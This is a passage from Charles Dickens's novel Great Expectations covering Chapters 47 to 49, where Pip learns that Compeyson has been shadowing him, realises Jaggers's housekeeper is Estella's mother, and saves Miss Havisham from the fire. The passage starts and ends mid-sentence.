keeping, +and I felt a kind of satisfaction - whether it was a false kind or +a true, I hardly know - in not having profited by his generosity +since his revelation of himself. + +As the time wore on, an impression settled heavily upon me that +Estella was married. Fearful of having it confirmed, though it was +all but a conviction, I avoided the newspapers, and begged Herbert +(to whom I had confided the circumstances of our last interview) +never to speak of her to me. Why I hoarded up this last wretched +little rag of the robe of hope that was rent and given to the +winds, how do I know! Why did you who read this, commit that not +dissimilar inconsistency of your own, last year, last month, last +week? + +It was an unhappy life that I lived, and its one dominant anxiety, +towering over all its other anxieties like a high mountain above a +range of mountains, never disappeared from my view. Still, no new +cause for fear arose. Let me start from my bed as I would, with the +terror fresh upon me that he was discovered; let me sit listening +as I would, with dread, for Herbert's returning step at night, lest +it should be fleeter than ordinary, and winged with evil news; for +all that, and much more to like purpose, the round of things went +on. Condemned to inaction and a state of constant restlessness and +suspense, I rowed about in my boat, and waited, waited, waited, as +I best could. + +There were states of the tide when, having been down the river, I +could not get back through the eddy-chafed arches and starlings of +old London Bridge; then, I left my boat at a wharf near the Custom +House, to be brought up afterwards to the Temple stairs. I was not +averse to doing this, as it served to make me and my boat a +commoner incident among the water-side people there. From this +slight occasion, sprang two meetings that I have now to tell of. + +One afternoon, late in the month of February, I came ashore at the +wharf at dusk. I had pulled down as far as Greenwich with the ebb +tide, and had turned with the tide. It had been a fine bright day, +but had become foggy as the sun dropped, and I had had to feel my +way back among the shipping, pretty carefully. Both in going and +returning, I had seen the signal in his window, All well. + +As it was a raw evening and I was cold, I thought I would comfort +myself with dinner at once; and as I had hours of dejection and +solitude before me if I went home to the Temple, I thought I would +afterwards go to the play. The theatre where Mr. Wopsle had achieved +his questionable triumph, was in that waterside neighbourhood (it +is nowhere now), and to that theatre I resolved to go. I was aware +that Mr. Wopsle had not succeeded in reviving the Drama, but, on the +contrary, had rather partaken of its decline. He had been ominously +heard of, through the playbills, as a faithful Black, in connexion +with a little girl of noble birth, and a monkey. And Herbert had +seen him as a predatory Tartar of comic propensities, with a face +like a red brick, and an outrageous hat all over bells. + +I dined at what Herbert and I used to call a Geographical +chop-house - where there were maps of the world in porter-pot rims +on every half-yard of the table-cloths, and charts of gravy on +every one of the knives - to this day there is scarcely a single +chop-house within the Lord Mayor's dominions which is not +Geographical - and wore out the time in dozing over crumbs, staring +at gas, and baking in a hot blast of dinners. By-and-by, I roused +myself and went to the play. + +There, I found a virtuous boatswain in his Majesty's service - a +most excellent man, though I could have wished his trousers not +quite so tight in some places and not quite so loose in others - +who knocked all the little men's hats over their eyes, though he +was very generous and brave, and who wouldn't hear of anybody's +paying taxes, though he was very patriotic. He had a bag of money +in his pocket, like a pudding in the cloth, and on that property +married a young person in bed-furniture, with great rejoicings; the +whole population of Portsmouth (nine in number at the last Census) +turning out on the beach, to rub their own hands and shake +everybody else's, and sing "Fill, fill!" A certain +dark-complexioned Swab, however, who wouldn't fill, or do anything +else that was proposed to him, and whose heart was openly stated +(by the boatswain) to be as black as his figure-head, proposed to +two other Swabs to get all mankind into difficulties; which was so +effectually done (the Swab family having considerable political +influence) that it took half the evening to set things right, and +then it was only brought about through an honest little grocer with +a white hat, black gaiters, and red nose, getting into a clock, +with a gridiron, and listening, and coming out, and knocking +everybody down from behind with the gridiron whom he couldn't +confute with what he had overheard. This led to Mr. Wopsle's (who +had never been heard of before) coming in with a star and garter +on, as a plenipotentiary of great power direct from the Admiralty, +to say that the Swabs were all to go to prison on the spot, and +that he had brought the boatswain down the Union Jack, as a slight +acknowledgment of his public services. The boatswain, unmanned for +the first time, respectfully dried his eyes on the Jack, and then +cheering up and addressing Mr. Wopsle as Your Honour, solicited +permission to take him by the fin. Mr. Wopsle conceding his fin with +a gracious dignity, was immediately shoved into a dusty corner +while everybody danced a hornpipe; and from that corner, surveying +the public with a discontented eye, became aware of me. + +The second piece was the last new grand comic Christmas pantomime, +in the first scene of which, it pained me to suspect that I +detected Mr. Wopsle with red worsted legs under a highly magnified +phosphoric countenance and a shock of red curtain-fringe for his +hair, engaged in the manufacture of thunderbolts in a mine, and +displaying great cowardice when his gigantic master came home (very +hoarse) to dinner. But he presently presented himself under +worthier circumstances; for, the Genius of Youthful Love being in +want of assistance - on account of the parental brutality of an +ignorant farmer who opposed the choice of his daughter's heart, by +purposely falling upon the object, in a flour sack, out of the +firstfloor window - summoned a sententious Enchanter; and he, +coming up from the antipodes rather unsteadily, after an apparently +violent journey, proved to be Mr. Wopsle in a high-crowned hat, with +a necromantic work in one volume under his arm. The business of +this enchanter on earth, being principally to be talked at, sung +at, butted at, danced at, and flashed at with fires of various +colours, he had a good deal of time on his hands. And I observed +with great surprise, that he devoted it to staring in my direction +as if he were lost in amazement. + +There was something so remarkable in the increasing glare of Mr. +Wopsle's eye, and he seemed to be turning so many things over in +his mind and to grow so confused, that I could not make it out. I +sat thinking of it, long after he had ascended to the clouds in a +large watch-case, and still I could not make it out. I was still +thinking of it when I came out of the theatre an hour afterwards, +and found him waiting for me near the door. + +"How do you do?" said I, shaking hands with him as we turned down +the street together. "I saw that you saw me." + +"Saw you, Mr. Pip!" he returned. "Yes, of course I saw you. But who +else was there?" + +"Who else?" + +"It is the strangest thing," said Mr. Wopsle, drifting into his lost +look again; "and yet I could swear to him." + +Becoming alarmed, I entreated Mr. Wopsle to explain his meaning. + +"Whether I should have noticed him at first but for your being +there," said Mr. Wopsle, going on in the same lost way, "I can't be +positive; yet I think I should." + +Involuntarily I looked round me, as I was accustomed to look round +me when I went home; for, these mysterious words gave me a chill. + +"Oh! He can't be in sight," said Mr. Wopsle. "He went out, before I +went off, I saw him go." + +Having the reason that I had, for being suspicious, I even +suspected this poor actor. I mistrusted a design to entrap me into +some admission. Therefore, I glanced at him as we walked on +together, but said nothing. + +"I had a ridiculous fancy that he must be with you, Mr. Pip, till I +saw that you were quite unconscious of him, sitting behind you +there, like a ghost." + +My former chill crept over me again, but I was resolved not to +speak yet, for it was quite consistent with his words that he might +be set on to induce me to connect these references with Provis. Of +course, I was perfectly sure and safe that Provis had not been +there. + +"I dare say you wonder at me, Mr. Pip; indeed I see you do. But it +is so very strange! You'll hardly believe what I am going to tell +you. I could hardly believe it myself, if you told me." + +"Indeed?" said I. + +"No, indeed. Mr. Pip, you remember in old times a certain Christmas +Day, when you were quite a child, and I dined at Gargery's, and +some soldiers came to the door to get a pair of handcuffs mended?" + +"I remember it very well." + +"And you remember that there was a chase after two convicts, and +that we joined in it, and that Gargery took you on his back, and +that I took the lead and you kept up with me as well as you could?" + +"I remember it all very well." Better than he thought - except the +last clause. + +"And you remember that we came up with the two in a ditch, and that +there was a scuffle between them, and that one of them had been +severely handled and much mauled about the face, by the other?" + +"I see it all before me." + +"And that the soldiers lighted torches, and put the two in the +centre, and that we went on to see the last of them, over the black +marshes, with the torchlight shining on their faces - I am +particular about that; with the torchlight shining on their faces, +when there was an outer ring of dark night all about us?" + +"Yes," said I. "I remember all that." + +"Then, Mr. Pip, one of those two prisoners sat behind you tonight. I +saw him over your shoulder." + +"Steady!" I thought. I asked him then, "Which of the two do you +suppose you saw?" + +"The one who had been mauled," he answered readily, "and I'll swear +I saw him! The more I think of him, the more certain I am of him." + +"This is very curious!" said I, with the best assumption I could +put on, of its being nothing more to me. "Very curious indeed!" + +I cannot exaggerate the enhanced disquiet into which this +conversation threw me, or the special and peculiar terror I felt at +Compeyson's having been behind me "like a ghost." For, if he had +ever been out of my thoughts for a few moments together since the +hiding had begun, it was in those very moments when he was closest +to me; and to think that I should be so unconscious and off my +guard after all my care, was as if I had shut an avenue of a +hundred doors to keep him out, and then had found him at my elbow. +I could not doubt either that he was there, because I was there, +and that however slight an appearance of danger there might be +about us, danger was always near and active. + +I put such questions to Mr. Wopsle as, When did the man come in? He +could not tell me that; he saw me, and over my shoulder he saw the +man. It was not until he had seen him for some time that he began +to identify him; but he had from the first vaguely associated him +with me, and known him as somehow belonging to me in the old +village time. How was he dressed? Prosperously, but not noticeably +otherwise; he thought, in black. Was his face at all disfigured? +No, he believed not. I believed not, too, for, although in my +brooding state I had taken no especial notice of the people behind +me, I thought it likely that a face at all disfigured would have +attracted my attention. + +When Mr. Wopsle had imparted to me all that he could recall or I +extract, and when I had treated him to a little appropriate +refreshment after the fatigues of the evening, we parted. It was +between twelve and one o'clock when I reached the Temple, and the +gates were shut. No one was near me when I went in and went home. + +Herbert had come in, and we held a very serious council by the +fire. But there was nothing to be done, saving to communicate to +Wemmick what I had that night found out, and to remind him that we +waited for his hint. As I thought that I might compromise him if I +went too often to the Castle, I made this communication by letter. +I wrote it before I went to bed, and went out and posted it; and +again no one was near me. Herbert and I agreed that we could do +nothing else but be very cautious. And we were very cautious indeed +- more cautious than before, if that were possible - and I for my +part never went near Chinks's Basin, except when I rowed by, and +then I only looked at Mill Pond Bank as I looked at anything else. + + +Chapter 48 + +The second of the two meetings referred to in the last chapter, +occurred about a week after the first. I had again left my boat at +the wharf below Bridge; the time was an hour earlier in the +afternoon; and, undecided where to dine, I had strolled up into +Cheapside, and was strolling along it, surely the most unsettled +person in all the busy concourse, when a large hand was laid upon +my shoulder, by some one overtaking me. It was Mr. Jaggers's hand, +and he passed it through my arm. + +"As we are going in the same direction, Pip, we may walk together. +Where are you bound for?" + +"For the Temple, I think," said I. + +"Don't you know?" said Mr. Jaggers. + +"Well," I returned, glad for once to get the better of him in +cross-examination, "I do not know, for I have not made up my mind." + +"You are going to dine?" said Mr. Jaggers. "You don't mind admitting +that, I suppose?" + +"No," I returned, "I don't mind admitting that." + +"And are not engaged?" + +"I don't mind admitting also, that I am not engaged." + +"Then," said Mr. Jaggers, "come and dine with me." + +I was going to excuse myself, when he added, "Wemmick's coming." +So, I changed my excuse into an acceptance - the few words I had +uttered, serving for the beginning of either - and we went along +Cheapside and slanted off to Little Britain, while the lights were +springing up brilliantly in the shop windows, and the street +lamp-lighters, scarcely finding ground enough to plant their +ladders on in the midst of the afternoon's bustle, were skipping up +and down and running in and out, opening more red eyes in the +gathering fog than my rushlight tower at the Hummums had opened +white eyes in the ghostly wall. + +At the office in Little Britain there was the usual letter-writing, +hand-washing, candle-snuffing, and safe-locking, that closed the +business of the day. As I stood idle by Mr. Jaggers's fire, its +rising and falling flame made the two casts on the shelf look as if +they were playing a diabolical game at bo-peep with me; while the +pair of coarse fat office candles that dimly lighted Mr. Jaggers as +he wrote in a corner, were decorated with dirty winding-sheets, as +if in remembrance of a host of hanged clients. + +We went to Gerrard-street, all three together, in a hackney coach: +and as soon as we got there, dinner was served. Although I should +not have thought of making, in that place, the most distant +reference by so much as a look to Wemmick's Walworth sentiments, +yet I should have had no objection to catching his eye now and then +in a friendly way. But it was not to be done. He turned his eyes on +Mr. Jaggers whenever he raised them from the table, and was as dry +and distant to me as if there were twin Wemmicks and this was the +wrong one. + +"Did you send that note of Miss Havisham's to Mr. Pip, Wemmick?" Mr. +Jaggers asked, soon after we began dinner. + +"No, sir," returned Wemmick; "it was going by post, when you +brought Mr. Pip into the office. Here it is." He handed it to his +principal, instead of to me. + +"It's a note of two lines, Pip," said Mr. Jaggers, handing it on, +"sent up to me by Miss Havisham, on account of her not being sure +of your address. She tells me that she wants to see you on a little +matter of business you mentioned to her. You'll go down?" + +"Yes," said I, casting my eyes over the note, which was exactly in +those terms. + +"When do you think of going down?" + +"I have an impending engagement," said I, glancing at Wemmick, who +was putting fish into the post-office, "that renders me rather +uncertain of my time. At once, I think." + +"If Mr. Pip has the intention of going at once," said Wemmick to Mr. +Jaggers, "he needn't write an answer, you know." + +Receiving this as an intimation that it was best not to delay, I +settled that I would go to-morrow, and said so. Wemmick drank a +glass of wine and looked with a grimly satisfied air at Mr. Jaggers, +but not at me. + +"So, Pip! Our friend the Spider," said Mr. Jaggers, "has played his +cards. He has won the pool." + +It was as much as I could do to assent. + +"Hah! He is a promising fellow - in his way - but he may not have +it all his own way. The stronger will win in the end, but the +stronger has to be found out first. If he should turn to, and beat +her--" + +"Surely," I interrupted, with a burning face and heart, "you do not +seriously think that he is scoundrel enough for that, Mr. Jaggers?" + +"I didn't say so, Pip. I am putting a case. If he should turn to +and beat her, he may possibly get the strength on his side; if it +should be a question of intellect, he certainly will not. It would +be chance work to give an opinion how a fellow of that sort will +turn out in such circumstances, because it's a toss-up between two +results." + +"May I ask what they are?" + +"A fellow like our friend the Spider," answered Mr. Jaggers, "either +beats, or cringes. He may cringe and growl, or cringe and not +growl; but he either beats or cringes. Ask Wemmick his opinion." + +"Either beats or cringes," said Wemmick, not at all addressing +himself to me. + +"So, here's to Mrs. Bentley Drummle," said Mr. Jaggers, taking a +decanter of choicer wine from his dumb-waiter, and filling for each +of us and for himself, "and may the question of supremacy be +settled to the lady's satisfaction! To the satisfaction of the lady +and the gentleman, it never will be. Now, Molly, Molly, Molly, +Molly, how slow you are to-day!" + +She was at his elbow when he addressed her, putting a dish upon the +table. As she withdrew her hands from it, she fell back a step or +two, nervously muttering some excuse. And a certain action of her +fingers as she spoke arrested my attention. + +"What's the matter?" said Mr. Jaggers. + +"Nothing. Only the subject we were speaking of," said I, "was +rather painful to me." + +The action of her fingers was like the action of knitting. She +stood looking at her master, not understanding whether she was free +to go, or whether he had more to say to her and would call her back +if she did go. Her look was very intent. Surely, I had seen exactly +such eyes and such hands, on a memorable occasion very lately! + +He dismissed her, and she glided out of the room. But she remained +before me, as plainly as if she were still there. I looked at those +hands, I looked at those eyes, I looked at that flowing hair; and I +compared them with other hands, other eyes, other hair, that I knew +of, and with what those might be after twenty years of a brutal +husband and a stormy life. I looked again at those hands and eyes +of the housekeeper, and thought of the inexplicable feeling that +had come over me when I last walked - not alone - in the ruined +garden, and through the deserted brewery. I thought how the same +feeling had come back when I saw a face looking at me, and a hand +waving to me, from a stage-coach window; and how it had come back +again and had flashed about me like Lightning, when I had passed in +a carriage - not alone - through a sudden glare of light in a dark +street. I thought how one link of association had helped that +identification in the theatre, and how such a link, wanting before, +had been riveted for me now, when I had passed by a chance swift +from Estella's name to the fingers with their knitting action, and +the attentive eyes. And I felt absolutely certain that this woman +was Estella's mother. + +Mr. Jaggers had seen me with Estella, and was not likely to have +missed the sentiments I had been at no pains to conceal. He nodded +when I said the subject was painful to me, clapped me on the back, +put round the wine again, and went on with his dinner. + +Only twice more, did the housekeeper reappear, and then her stay in +the room was very short, and Mr. Jaggers was sharp with her. But her +hands were Estella's hands, and her eyes were Estella's eyes, and +if she had reappeared a hundred times I could have been neither +more sure nor less sure that my conviction was the truth. + +It was a dull evening, for Wemmick drew his wine when it came +round, quite as a matter of business - just as he might have drawn +his salary when that came round - and with his eyes on his chief, +sat in a state of perpetual readiness for cross-examination. As to +the quantity of wine, his post-office was as indifferent and ready +as any other post-office for its quantity of letters. From my point +of view, he was the wrong twin all the time, and only externally +like the Wemmick of Walworth. + +We took our leave early, and left together. Even when we were +groping among Mr. Jaggers's stock of boots for our hats, I felt that +the right twin was on his way back; and we had not gone half a +dozen yards down Gerrard-street in the Walworth direction before I +found that I was walking arm-in-arm with the right twin, and that +the wrong twin had evaporated into the evening air. + +"Well!" said Wemmick, "that's over! He's a wonderful man, without +his living likeness; but I feel that I have to screw myself up when +I dine with him - and I dine more comfortably unscrewed." + +I felt that this was a good statement of the case, and told him so. + +"Wouldn't say it to anybody but yourself," he answered. "I know +that what is said between you and me, goes no further." + +I asked him if he had ever seen Miss Havisham's adopted daughter, +Mrs. Bentley Drummle? He said no. To avoid being too abrupt, I then +spoke of the Aged, and of Miss Skiffins. He looked rather sly when +I mentioned Miss Skiffins, and stopped in the street to blow his +nose, with a roll of the head and a flourish not quite free from +latent boastfulness. + +"Wemmick," said I, "do you remember telling me before I first went +to Mr. Jaggers's private house, to notice that housekeeper?" + +"Did I?" he replied. "Ah, I dare say I did. Deuce take me," he +added, suddenly, "I know I did. I find I am not quite unscrewed +yet." + +"A wild beast tamed, you called her." + +"And what do you call her?" + +"The same. How did Mr. Jaggers tame her, Wemmick?" + +"That's his secret. She has been with him many a long year." + +"I wish you would tell me her story. I feel a particular interest +in being acquainted with it. You know that what is said between you +and me goes no further." + +"Well!" Wemmick replied, "I don't know her story - that is, I don't +know all of it. But what I do know, I'll tell you. We are in our +private and personal capacities, of course." + +"Of course." + +"A score or so of years ago, that woman was tried at the Old Bailey +for murder, and was acquitted. She was a very handsome young woman, +and I believe had some gipsy blood in her. Anyhow, it was hot enough +when it was up, as you may suppose." + +"But she was acquitted." + +"Mr. Jaggers was for her," pursued Wemmick, with a look full of +meaning, "and worked the case in a way quite astonishing. It was a +desperate case, and it was comparatively early days with him then, +and he worked it to general admiration; in fact, it may almost be +said to have made him. He worked it himself at the police-office, +day after day for many days, contending against even a committal; +and at the trial where he couldn't work it himself, sat under +Counsel, and - every one knew - put in all the salt and pepper. The +murdered person was a woman; a woman, a good ten years older, very +much larger, and very much stronger. It was a case of jealousy. +They both led tramping lives, and this woman in Gerrard-street here +had been married very young, over the broomstick (as we say), to a +tramping man, and was a perfect fury in point of jealousy. The +murdered woman - more a match for the man, certainly, in point of +years - was found dead in a barn near Hounslow Heath. There had +been a violent struggle, perhaps a fight. She was bruised and +scratched and torn, and had been held by the throat at last and +choked. Now, there was no reasonable evidence to implicate any +person but this woman, and, on the improbabilities of her having +been able to do it, Mr. Jaggers principally rested his case. You may +be sure," said Wemmick, touching me on the sleeve, "that he never +dwelt upon the strength of her hands then, though he sometimes does +now." + +I had told Wemmick of his showing us her wrists, that day of the +dinner party. + +"Well, sir!" Wemmick went on; "it happened - happened, don't you +see? - that this woman was so very artfully dressed from the time +of her apprehension, that she looked much slighter than she really +was; in particular, her sleeves are always remembered to have been +so skilfully contrived that her arms had quite a delicate look. She +had only a bruise or two about her - nothing for a tramp - but the +backs of her hands were lacerated, and the question was, was it +with finger-nails? Now, Mr. Jaggers showed that she had struggled +through a great lot of brambles which were not as high as her face; +but which she could not have got through and kept her hands out of; +and bits of those brambles were actually found in her skin and put +in evidence, as well as the fact that the brambles in question were +found on examination to have been broken through, and to have +little shreds of her dress and little spots of blood upon them here +and there. But the boldest point he made, was this. It was +attempted to be set up in proof of her jealousy, that she was under +strong suspicion of having, at about the time of the murder, +frantically destroyed her child by this man - some three years old +- to revenge herself upon him. Mr. Jaggers worked that, in this way. +"We say these are not marks of finger-nails, but marks of brambles, +and we show you the brambles. You say they are marks of +finger-nails, and you set up the hypothesis that she destroyed her +child. You must accept all consequences of that hypothesis. For +anything we know, she may have destroyed her child, and the child +in clinging to her may have scratched her hands. What then? You are +not trying her for the murder of her child; why don't you? As to +this case, if you will have scratches, we say that, for anything we +know, you may have accounted for them, assuming for the sake of +argument that you have not invented them!" To sum up, sir," said +Wemmick, "Mr. Jaggers was altogether too many for the Jury, and they +gave in." + +"Has she been in his service ever since?" + +"Yes; but not only that," said Wemmick. "She went into his service +immediately after her acquittal, tamed as she is now. She has since +been taught one thing and another in the way of her duties, but she +was tamed from the beginning." + +"Do you remember the sex of the child?" + +"Said to have been a girl." + +"You have nothing more to say to me to-night?" + +"Nothing. I got your letter and destroyed it. Nothing." + +We exchanged a cordial Good Night, and I went home, with new matter +for my thoughts, though with no relief from the old. + + +Chapter 49 + +Putting Miss Havisham's note in my pocket, that it might serve as +my credentials for so soon reappearing at Satis House, in case her +waywardness should lead her to express any surprise at seeing me, I +went down again by the coach next day. But I alighted at the +Halfway House, and breakfasted there, and walked the rest of the +distance; for, I sought to get into the town quietly by the +unfrequented ways, and to leave it in the same manner. + +The best light of the day was gone when I passed along the quiet +echoing courts behind the High-street. The nooks of ruin where the +old monks had once had their refectories and gardens, and where the +strong walls were now pressed into the service of humble sheds and +stables, were almost as silent as the old monks in their graves. +The cathedral chimes had at once a sadder and a more remote sound +to me, as I hurried on avoiding observation, than they had ever had +before; so, the swell of the old organ was borne to my ears like +funeral music; and the rooks, as they hovered about the grey tower +and swung in the bare high trees of the priory-garden, seemed to +call to me that the place was changed, and that Estella was gone +out of it for ever. + +An elderly woman whom I had seen before as one of the servants who +lived in the supplementary house across the back court-yard, opened +the gate. The lighted candle stood in the dark passage within, as +of old, and I took it up and ascended the staircase alone. Miss +Havisham was not in her own room, but was in the larger room across +the landing. Looking in at the door, after knocking in vain, I saw +her sitting on the hearth in a ragged chair, close before, and lost +in the contemplation of, the ashy fire. + +Doing as I had often done, I went in, and stood, touching the old +chimney-piece, where she could see me when she raised her eyes. +There was an air or utter loneliness upon her, that would have +moved me to pity though she had wilfully done me a deeper injury +than I could charge her with. As I stood compassionating her, and +thinking how in the progress of time I too had come to be a part of +the wrecked fortunes of that house, her eyes rested on me. She +stared, and said in a low voice, "Is it real?" + +"It is I, Pip. Mr. Jaggers gave me your note yesterday, and I have +lost no time." + +"Thank you. Thank you." + +As I brought another of the ragged chairs to the hearth and sat +down, I remarked a new expression on her face, as if she were +afraid of me. + +"I want," she said, "to pursue that subject you mentioned to me +when you were last here, and to show you that I am not all stone. +But perhaps you can never believe, now, that there is anything +human in my heart?" + +When I said some reassuring words, she stretched out her tremulous +right hand, as though she was going to touch me; but she recalled +it again before I understood the action, or knew how to receive it. + +"You said, speaking for your friend, that you could tell me how to +do something useful and good. Something that you would like done, +is it not?" + +"Something that I would like done very much." + +"What is it?" + +I began explaining to her that secret history of the partnership. I +had not got far into it, when I judged from her looks that she was +thinking in a discursive way of me, rather than of what I said. It +seemed to be so, for, when I stopped speaking, many moments passed +before she showed that she was conscious of the fact. + +"Do you break off," she asked then, with her former air of being +afraid of me, "because you hate me too much to bear to speak to +me?" + +"No, no," I answered, "how can you think so, Miss Havisham! I +stopped because I thought you were not following what I said." + +"Perhaps I was not," she answered, putting a hand to her head. +"Begin again, and let me look at something else. Stay! Now tell +me." + +She set her hand upon her stick, in the resolute way that sometimes +was habitual to her, and looked at the fire with a strong +expression of forcing herself to attend. I went on with my +explanation, and told her how I had hoped to complete the +transaction out of my means, but how in this I was disappointed. +That part of the subject (I reminded her) involved matters which +could form no part of my explanation, for they were the weighty +secrets of another. + +"So!" said she, assenting with her head, but not looking at me. +"And how much money is wanting to complete the purchase?" + +I was rather afraid of stating it, for it sounded a large sum. +"Nine hundred pounds." + +"If I give you the money for this purpose, will you keep my secret +as you have kept your own?" + +"Quite as faithfully." + +"And your mind will be more at rest?" + +"Much more at rest." + +"Are you very unhappy now?" + +She asked this question, still without looking at me, but in an +unwonted tone of sympathy. I could not reply at the moment, for my +voice failed me. She put her left arm across the head of her stick, +and softly laid her forehead on it. + +"I am far from happy, Miss Havisham; but I have other causes of +disquiet than any you know of. They are the secrets I have +mentioned." + +After a little while, she raised her head and looked at the fire +again. + +"It is noble in you to tell me that you have other causes of +unhappiness, Is it true?" + +"Too true." + +"Can I only serve you, Pip, by serving your friend? Regarding that +as done, is there nothing I can do for you yourself?" + +"Nothing. I thank you for the question. I thank you even more for +the tone of the question. But, there is nothing." + +She presently rose from her seat, and looked about the blighted +room for the means of writing. There were non there, and she took +from her pocket a yellow set of ivory tablets, mounted in tarnished +gold, and wrote upon them with a pencil in a case of tarnished gold +that hung from her neck. + +"You are still on friendly terms with Mr. Jaggers?" + +"Quite. I dined with him yesterday." + +"This is an authority to him to pay you that money, to lay out at +your irresponsible discretion for your friend. I keep no money +here; but if you would rather Mr. Jaggers knew nothing of the +matter, I will send it to you." + +"Thank you, Miss Havisham; I have not the least objection to +receiving it from him." + +She read me what she had written, and it was direct and clear, and +evidently intended to absolve me from any suspicion of profiting by +the receipt of the money. I took the tablets from her hand, and it +trembled again, and it trembled more as she took off the chain to +which the pencil was attached, and put it in mine. All this she +did, without looking at me. + +"My name is on the first leaf. If you can ever write under my name, +"I forgive her," though ever so long after my broken heart is dust +- pray do it!" + +"O Miss Havisham," said I, "I can do it now. There have been sore +mistakes; and my life has been a blind and thankless one; and I +want forgiveness and direction far too much, to be bitter with +you." + +She turned her face to me for the first time since she had averted +it, and, to my amazement, I may even add to my terror, dropped on +her knees at my feet; with her folded hands raised to me in the +manner in which, when her poor heart was young and fresh and whole, +they must often have been raised to heaven from her mother's side. + +To see her with her white hair and her worn face kneeling at my +feet, gave me a shock through all my frame. I entreated her to +rise, and got my arms about her to help her up; but she only +pressed that hand of mine which was nearest to her grasp, and hung +her head over it and wept. I had never seen her shed a tear before, +and, in the hope that the relief might do her good, I bent over her +without speaking. She was not kneeling now, but was down upon the +ground. + +"O!" she cried, despairingly. "What have I done! What have I done!" + +"If you mean, Miss Havisham, what have you done to injure me, let +me answer. Very little. I should have loved her under any +circumstances. - Is she married?" + +"Yes." + +It was a needless question, for a new desolation in the desolate +house had told me so. + +"What have I done! What have I done!" She wrung her hands, and +crushed her white hair, and returned to this cry over and over +again. "What have I done!" + +I knew not how to answer, or how to comfort her. That she had done +a grievous thing in taking an impressionable child to mould into +the form that her wild resentment, spurned affection, and wounded +pride, found vengeance in, I knew full well. But that, in shutting +out the light of day, she had shut out infinitely more; that, in +seclusion, she had secluded herself from a thousand natural and +healing influences; that, her mind, brooding solitary, had grown +diseased, as all minds do and must and will that reverse the +appointed order of their Maker; I knew equally well. And could I +look upon her without compassion, seeing her punishment in the ruin +she was, in her profound unfitness for this earth on which she was +placed, in the vanity of sorrow which had become a master mania, +like the vanity of penitence, the vanity of remorse, the vanity of +unworthiness, and other monstrous vanities that have been curses in +this world? + +"Until you spoke to her the other day, and until I saw in you a +looking-glass that showed me what I once felt myself, I did not +know what I had done. What have I done! What have I done!" And so +again, twenty, fifty times over, What had she done! + +"Miss Havisham," I said, when her cry had died away, "you may +dismiss me from your mind and conscience. But Estella is a +different case, and if you can ever undo any scrap of what you have +done amiss in keeping a part of her right nature away from her, it +will be better to do that, than to bemoan the past through a +hundred years." + +"Yes, yes, I know it. But, Pip - my Dear!" There was an earnest +womanly compassion for me in her new affection. "My Dear! Believe +this: when she first came to me, I meant to save her from misery +like my own. At first I meant no more." + +"Well, well!" said I. "I hope so." + +"But as she grew, and promised to be very beautiful, I gradually +did worse, and with my praises, and with my jewels, and with my +teachings, and with this figure of myself always before her a +warning to back and point my lessons, I stole her heart away and +put ice in its place." + +"Better," I could not help saying, "to have left her a natural +heart, even to be bruised or broken." + +With that, Miss Havisham looked distractedly at me for a while, and +then burst out again, What had she done! + +"If you knew all my story," she pleaded, "you would have some +compassion for me and a better understanding of me." + +"Miss Havisham," I answered, as delicately as I could, "I believe I +may say that I do know your story, and have known it ever since I +first left this neighbourhood. It has inspired me with great +commiseration, and I hope I understand it and its influences. Does +what has passed between us give me any excuse for asking you a +question relative to Estella? Not as she is, but as she was when +she first came here?" + +She was seated on the ground, with her arms on the ragged chair, +and her head leaning on them. She looked full at me when I said +this, and replied, "Go on." + +"Whose child was Estella?" + +She shook her head. + +"You don't know?" + +She shook her head again. + +"But Mr. Jaggers brought her here, or sent her here?" + +"Brought her here." + +"Will you tell me how that came about?" + +She answered in a low whisper and with caution: "I had been shut up +in these rooms a long time (I don't know how long; you know what +time the clocks keep here), when I told him that I wanted a little +girl to rear and love, and save from my fate. I had first seen him +when I sent for him to lay this place waste for me; having read of +him in the newspapers, before I and the world parted. He told me +that he would look about him for such an orphan child. One night he +brought her here asleep, and I called her Estella." + +"Might I ask her age then?" + +"Two or three. She herself knows nothing, but that she was left an +orphan and I adopted her." + +So convinced I was of that woman's being her mother, that I wanted +no evidence to establish the fact in my own mind. But, to any mind, +I thought, the connection here was clear and straight. + +What more could I hope to do by prolonging the interview? I had +succeeded on behalf of Herbert, Miss Havisham had told me all she +knew of Estella, I had said and done what I could to ease her mind. +No matter with what other words we parted; we parted. + +Twilight was closing in when I went down stairs into the natural +air. I called to the woman who had opened the gate when I entered, +that I would not trouble her just yet, but would walk round the +place before leaving. For, I had a presentiment that I should never +be there again, and I felt that the dying light was suited to my +last view of it. + +By the wilderness of casks that I had walked on long ago, and on +which the rain of years had fallen since, rotting them in many +places, and leaving miniature swamps and pools of water upon those +that stood on end, I made my way to the ruined garden. I went all +round it; round by the corner where Herbert and I had fought our +battle; round by the paths where Estella and I had walked. So cold, +so lonely, so dreary all! + +Taking the brewery on my way back, I raised the rusty latch of a +little door at the garden end of it, and walked through. I was +going out at the opposite door - not easy to open now, for the damp +wood had started and swelled, and the hinges were yielding, and the +threshold was encumbered with a growth of fungus - when I turned my +head to look back. A childish association revived with wonderful +force in the moment of the slight action, and I fancied that I saw +Miss Havisham hanging to the beam. So strong was the impression, +that I stood under the beam shuddering from head to foot before I +knew it was a fancy - though to be sure I was there in an instant. + +The mournfulness of the place and time, and the great terror of +this illusion, though it was but momentary, caused me to feel an +indescribable awe as I came out between the open wooden gates where +I had once wrung my hair after Estella had wrung my heart. Passing +on into the front court-yard, I hesitated whether to call the woman +to let me out at the locked gate of which she had the key, or first +to go up-stairs and assure myself that Miss Havisham was as safe +and well as I had left her. I took the latter course and went up. + +I looked into the room where I had left her, and I saw her seated +in the ragged chair upon the hearth close to the fire, with her +back towards me. In the moment when I was withdrawing my head to go +quietly away, I saw a great flaming light spring up. In the same +moment, I saw her running at me, shrieking, with a whirl of fire +blazing all about her, and soaring at least as many feet above her +head as she was high. + +I had a double-caped great-coat on, and over my arm another thick +coat. That I got them off, closed with her, threw her down, and got +them over her; that I dragged the great cloth from the table for +the same purpose, and with it dragged down the heap of rottenness +in the midst, and all the ugly things that sheltered there; that we +were on the ground struggling like desperate enemies, and that the +closer I covered her, the more wildly she shrieked and tried to +free herself; that this occurred I knew through the result, but not +through anything I felt, or thought, or knew I did. I knew nothing +until I knew that we were on the floor by the great table, and that +patches of tinder yet alight were floating in the smoky air, which, +a moment ago, had been her faded bridal dress. + +Then, I looked round and saw the disturbed beetles and spiders +running away over the floor, and the servants coming in with +breathless cries at the door. I still held her forcibly down with +all my strength, like a prisoner who might escape; and I doubt if I +even knew who she was, or why we had struggled, or that she had +been in flames, or that the flames were out, until I saw the +patches of tinder that had been her garments, no longer alight but +falling in a black shower around us. + +She was 